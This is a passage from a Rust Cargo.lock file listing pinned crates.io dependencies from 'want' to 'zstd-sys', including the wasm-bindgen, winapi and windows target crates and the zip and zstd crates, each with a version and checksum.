"winapi-util", 3653 | ] 3654 | 3655 | [[package]] 3656 | name = "want" 3657 | version = "0.3.0" 3658 | source = "registry+https://github.com/rust-lang/crates.io-index" 3659 | checksum = "1ce8a968cb1cd110d136ff8b819a556d6fb6d919363c61534f6860c7eb172ba0" 3660 | dependencies = [ 3661 | "log", 3662 | "try-lock", 3663 | ] 3664 | 3665 | [[package]] 3666 | name = "wasi" 3667 | version = "0.10.0+wasi-snapshot-preview1" 3668 | source = "registry+https://github.com/rust-lang/crates.io-index" 3669 | checksum = "1a143597ca7c7793eff794def352d41792a93c481eb1042423ff7ff72ba2c31f" 3670 | 3671 | [[package]] 3672 | name = "wasi" 3673 | version = "0.11.0+wasi-snapshot-preview1" 3674 | source = "registry+https://github.com/rust-lang/crates.io-index" 3675 | checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" 3676 | 3677 | [[package]] 3678 | name = "wasm-bindgen" 3679 | version = "0.2.83" 3680 | source = "registry+https://github.com/rust-lang/crates.io-index" 3681 | checksum = "eaf9f5aceeec8be17c128b2e93e031fb8a4d469bb9c4ae2d7dc1888b26887268" 3682 | dependencies = [ 3683 | "cfg-if", 3684 | "wasm-bindgen-macro", 3685 | ] 3686 | 3687 | [[package]] 3688 | name = "wasm-bindgen-backend" 3689 | version = "0.2.83" 3690 | source = "registry+https://github.com/rust-lang/crates.io-index" 3691 | checksum = "4c8ffb332579b0557b52d268b91feab8df3615f265d5270fec2a8c95b17c1142" 3692 | dependencies = [ 3693 | "bumpalo", 3694 | "log", 3695 | "once_cell", 3696 | "proc-macro2", 3697 | "quote", 3698 | "syn", 3699 | "wasm-bindgen-shared", 3700 | ] 3701 | 3702 | [[package]] 3703 | name = "wasm-bindgen-futures" 3704 | version = "0.4.33" 3705 | source = "registry+https://github.com/rust-lang/crates.io-index" 3706 | checksum = "23639446165ca5a5de86ae1d8896b737ae80319560fbaa4c2887b7da6e7ebd7d" 3707 | dependencies = [ 3708 | "cfg-if", 3709 | "js-sys", 3710 | "wasm-bindgen", 3711 | "web-sys", 3712 | ] 3713 | 3714 | [[package]] 3715 | name = "wasm-bindgen-macro" 3716 | version = "0.2.83" 3717 | source = "registry+https://github.com/rust-lang/crates.io-index" 3718 | checksum = "052be0f94026e6cbc75cdefc9bae13fd6052cdcaf532fa6c45e7ae33a1e6c810" 3719 | dependencies = [ 3720 | "quote", 3721 | "wasm-bindgen-macro-support", 3722 | ] 3723 | 3724 | [[package]] 3725 | name = "wasm-bindgen-macro-support" 3726 | version = "0.2.83" 3727 | source = "registry+https://github.com/rust-lang/crates.io-index" 3728 | checksum = "07bc0c051dc5f23e307b13285f9d75df86bfdf816c5721e573dec1f9b8aa193c" 3729 | dependencies = [ 3730 | "proc-macro2", 3731 | "quote", 3732 | "syn", 3733 | "wasm-bindgen-backend", 3734 | "wasm-bindgen-shared", 3735 | ] 3736 | 3737 | [[package]] 3738 | name = "wasm-bindgen-shared" 3739 | version = "0.2.83" 3740 | source = "registry+https://github.com/rust-lang/crates.io-index" 3741 | checksum = "1c38c045535d93ec4f0b4defec448e4291638ee608530863b1e2ba115d4fff7f" 3742 | 3743 | [[package]] 3744 | name = "wasm-timer" 3745 | version = "0.2.5" 3746 | source = "registry+https://github.com/rust-lang/crates.io-index" 3747 | checksum = "be0ecb0db480561e9a7642b5d3e4187c128914e58aa84330b9493e3eb68c5e7f" 3748 | dependencies = [ 3749 | "futures", 3750 | "js-sys", 3751 | "parking_lot 0.11.2", 3752 | "pin-utils", 3753 | "wasm-bindgen", 3754 | "wasm-bindgen-futures", 3755 | "web-sys", 3756 | ] 3757 | 3758 | [[package]] 3759 | name = "web-sys" 3760 | version = "0.3.60" 3761 | source = "registry+https://github.com/rust-lang/crates.io-index" 3762 | checksum = "bcda906d8be16e728fd5adc5b729afad4e444e106ab28cd1c7256e54fa61510f" 3763 | dependencies = [ 3764 | "js-sys", 3765 | "wasm-bindgen", 3766 | ] 3767 | 3768 | [[package]] 3769 | name = "webpki" 3770 | version = "0.22.0" 3771 | source = "registry+https://github.com/rust-lang/crates.io-index" 3772 | checksum = "f095d78192e208183081cc07bc5515ef55216397af48b873e5edcd72637fa1bd" 3773 | dependencies = [ 3774 | "ring", 3775 | "untrusted", 3776 | ] 3777 | 3778 | [[package]] 3779 | name = "webpki-roots" 3780 | version = "0.22.5" 3781 | source = "registry+https://github.com/rust-lang/crates.io-index" 3782 | checksum = "368bfe657969fb01238bb756d351dcade285e0f6fcbd36dcb23359a5169975be" 3783 | dependencies = [ 3784 | "webpki", 3785 | ] 3786 | 3787 | [[package]] 3788 | name = "winapi" 3789 | version = "0.3.9" 3790 | source = "registry+https://github.com/rust-lang/crates.io-index" 3791 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" 3792 | dependencies = [ 3793 | "winapi-i686-pc-windows-gnu", 3794 | "winapi-x86_64-pc-windows-gnu", 3795 | ] 3796 | 3797 | [[package]] 3798 | name = "winapi-i686-pc-windows-gnu" 3799 | version = "0.4.0" 3800 | source = "registry+https://github.com/rust-lang/crates.io-index" 3801 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" 3802 | 3803 | [[package]] 3804 | name = "winapi-util" 3805 | version = "0.1.5" 3806 | source = "registry+https://github.com/rust-lang/crates.io-index" 3807 | checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178" 3808 | dependencies = [ 3809 | "winapi", 3810 | ] 3811 | 3812 | [[package]] 3813 | name = "winapi-x86_64-pc-windows-gnu" 3814 | version = "0.4.0" 3815 | source = "registry+https://github.com/rust-lang/crates.io-index" 3816 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" 3817 | 3818 | [[package]] 3819 | name = "windows-sys" 3820 | version = "0.36.1" 3821 | source = "registry+https://github.com/rust-lang/crates.io-index" 3822 | checksum = "ea04155a16a59f9eab786fe12a4a450e75cdb175f9e0d80da1e17db09f55b8d2" 3823 | dependencies = [ 3824 | "windows_aarch64_msvc 0.36.1", 3825 | "windows_i686_gnu 0.36.1", 3826 | "windows_i686_msvc 0.36.1", 3827 | "windows_x86_64_gnu 0.36.1", 3828 | "windows_x86_64_msvc 0.36.1", 3829 | ] 3830 | 3831 | [[package]] 3832 | name = "windows-sys" 3833 | version = "0.42.0" 3834 | source = "registry+https://github.com/rust-lang/crates.io-index" 3835 | checksum = "5a3e1820f08b8513f676f7ab6c1f99ff312fb97b553d30ff4dd86f9f15728aa7" 3836 | dependencies = [ 3837 | "windows_aarch64_gnullvm", 3838 | "windows_aarch64_msvc 0.42.0", 3839 | "windows_i686_gnu 0.42.0", 3840 | "windows_i686_msvc 0.42.0", 3841 | "windows_x86_64_gnu 0.42.0", 3842 | "windows_x86_64_gnullvm", 3843 | "windows_x86_64_msvc 0.42.0", 3844 | ] 3845 | 3846 | [[package]] 3847 | name = "windows_aarch64_gnullvm" 3848 | version = "0.42.0" 3849 | source = "registry+https://github.com/rust-lang/crates.io-index" 3850 | checksum = "41d2aa71f6f0cbe00ae5167d90ef3cfe66527d6f613ca78ac8024c3ccab9a19e" 3851 | 3852 | [[package]] 3853 | name = "windows_aarch64_msvc" 3854 | version = "0.36.1" 3855 | source = "registry+https://github.com/rust-lang/crates.io-index" 3856 | checksum = "9bb8c3fd39ade2d67e9874ac4f3db21f0d710bee00fe7cab16949ec184eeaa47" 3857 | 3858 | [[package]] 3859 | name = "windows_aarch64_msvc" 3860 | version = "0.42.0" 3861 | source = "registry+https://github.com/rust-lang/crates.io-index" 3862 | checksum = "dd0f252f5a35cac83d6311b2e795981f5ee6e67eb1f9a7f64eb4500fbc4dcdb4" 3863 | 3864 | [[package]] 3865 | name = "windows_i686_gnu" 3866 | version = "0.36.1" 3867 | source = "registry+https://github.com/rust-lang/crates.io-index" 3868 | checksum = "180e6ccf01daf4c426b846dfc66db1fc518f074baa793aa7d9b9aaeffad6a3b6" 3869 | 3870 | [[package]] 3871 | name = "windows_i686_gnu" 3872 | version = "0.42.0" 3873 | source = "registry+https://github.com/rust-lang/crates.io-index" 3874 | checksum = "fbeae19f6716841636c28d695375df17562ca208b2b7d0dc47635a50ae6c5de7" 3875 | 3876 | [[package]] 3877 | name = "windows_i686_msvc" 3878 | version = "0.36.1" 3879 | source = "registry+https://github.com/rust-lang/crates.io-index" 3880 | checksum = "e2e7917148b2812d1eeafaeb22a97e4813dfa60a3f8f78ebe204bcc88f12f024" 3881 | 3882 | [[package]] 3883 | name = "windows_i686_msvc" 3884 | version = "0.42.0" 3885 | source = "registry+https://github.com/rust-lang/crates.io-index" 3886 | checksum = "84c12f65daa39dd2babe6e442988fc329d6243fdce47d7d2d155b8d874862246" 3887 | 3888 | [[package]] 3889 | name = "windows_x86_64_gnu" 3890 | version = "0.36.1" 3891 | source = "registry+https://github.com/rust-lang/crates.io-index" 3892 | checksum = "4dcd171b8776c41b97521e5da127a2d86ad280114807d0b2ab1e462bc764d9e1" 3893 | 3894 | [[package]] 3895 | name = "windows_x86_64_gnu" 3896 | version = "0.42.0" 3897 | source = "registry+https://github.com/rust-lang/crates.io-index" 3898 | checksum = "bf7b1b21b5362cbc318f686150e5bcea75ecedc74dd157d874d754a2ca44b0ed" 3899 | 3900 | [[package]] 3901 | name = "windows_x86_64_gnullvm" 3902 | version = "0.42.0" 3903 | source = "registry+https://github.com/rust-lang/crates.io-index" 3904 | checksum = "09d525d2ba30eeb3297665bd434a54297e4170c7f1a44cad4ef58095b4cd2028" 3905 | 3906 | [[package]] 3907 | name = "windows_x86_64_msvc" 3908 | version = "0.36.1" 3909 | source = "registry+https://github.com/rust-lang/crates.io-index" 3910 | checksum = "c811ca4a8c853ef420abd8592ba53ddbbac90410fab6903b3e79972a631f7680" 3911 | 3912 | [[package]] 3913 | name = "windows_x86_64_msvc" 3914 | version = "0.42.0" 3915 | source = "registry+https://github.com/rust-lang/crates.io-index" 3916 | checksum = "f40009d85759725a34da6d89a94e63d7bdc50a862acf0dbc7c8e488f1edcb6f5" 3917 | 3918 | [[package]] 3919 | name = "winreg" 3920 | version = "0.10.1" 3921 | source = "registry+https://github.com/rust-lang/crates.io-index" 3922 | checksum = "80d0f4e272c85def139476380b12f9ac60926689dd2e01d4923222f40580869d" 3923 | dependencies = [ 3924 | "winapi", 3925 | ] 3926 | 3927 | [[package]] 3928 | name = "ws_stream_wasm" 3929 | version = "0.7.3" 3930 | source = "registry+https://github.com/rust-lang/crates.io-index" 3931 | checksum = "47ca1ab42f5afed7fc332b22b6e932ca5414b209465412c8cdf0ad23bc0de645" 3932 | dependencies = [ 3933 | "async_io_stream", 3934 | "futures", 3935 | "js-sys", 3936 | "pharos", 3937 | "rustc_version", 3938 | "send_wrapper", 3939 | "thiserror", 3940 | "wasm-bindgen", 3941 | "wasm-bindgen-futures", 3942 | "web-sys", 3943 | ] 3944 | 3945 | [[package]] 3946 | name = "wyz" 3947 | version = "0.5.1" 3948 | source = "registry+https://github.com/rust-lang/crates.io-index" 3949 | checksum = "05f360fc0b24296329c78fda852a1e9ae82de9cf7b27dae4b7f62f118f77b9ed" 3950 | dependencies = [ 3951 | "tap", 3952 | ] 3953 | 3954 | [[package]] 3955 | name = "yansi" 3956 | version = "0.5.1" 3957 | source = "registry+https://github.com/rust-lang/crates.io-index" 3958 | checksum = "09041cd90cf85f7f8b2df60c646f853b7f535ce68f85244eb6731cf89fa498ec" 3959 | 3960 | [[package]] 3961 | name = "zeroize" 3962 | version = "1.5.7" 3963 | source = "registry+https://github.com/rust-lang/crates.io-index" 3964 | checksum = "c394b5bd0c6f669e7275d9c20aa90ae064cb22e75a1cad54e1b34088034b149f" 3965 | 3966 | [[package]] 3967 | name = "zip" 3968 | version = "0.6.3" 3969 | source = "registry+https://github.com/rust-lang/crates.io-index" 3970 | checksum = "537ce7411d25e54e8ae21a7ce0b15840e7bfcff15b51d697ec3266cc76bdf080" 3971 | dependencies = [ 3972 | "aes 0.7.5", 3973 | "byteorder", 3974 | "bzip2", 3975 | "constant_time_eq", 3976 | "crc32fast", 3977 | "crossbeam-utils", 3978 | "flate2", 3979 | "hmac", 3980 | "pbkdf2", 3981 | "sha1", 3982 | "time 0.3.17", 3983 | "zstd", 3984 | ] 3985 | 3986 | [[package]] 3987 | name = "zstd" 3988 | version = "0.11.2+zstd.1.5.2" 3989 | source = "registry+https://github.com/rust-lang/crates.io-index" 3990 | checksum = "20cc960326ece64f010d2d2107537f26dc589a6573a316bd5b1dba685fa5fde4" 3991 | dependencies = [ 3992 | "zstd-safe", 3993 | ] 3994 | 3995 | [[package]] 3996 | name = "zstd-safe" 3997 | version = "5.0.2+zstd.1.5.2" 3998 | source = "registry+https://github.com/rust-lang/crates.io-index" 3999 | checksum = "1d2a5585e04f9eea4b2a3d1eca508c4dee9592a89ef6f450c11719da0726f4db" 4000 | dependencies = [ 4001 | "libc", 4002 | "zstd-sys", 4003 | ] 4004 | 4005 | [[package]] 4006 | name = "zstd-sys" 4007 | version = "2.0.4+zstd.1.5.2" 4008 | source = "registry+https://github.com/rust-lang/crates.io-index" 4009 | checksum = "4fa202f2ef00074143e219d15b62ffc317d17cc33909feac471c044087cad7b0" 4010 | dependencies = [ 4011 | "cc", 4012 | "libc", 4013 | ] 4014 | --------------------------------------------------------------------------------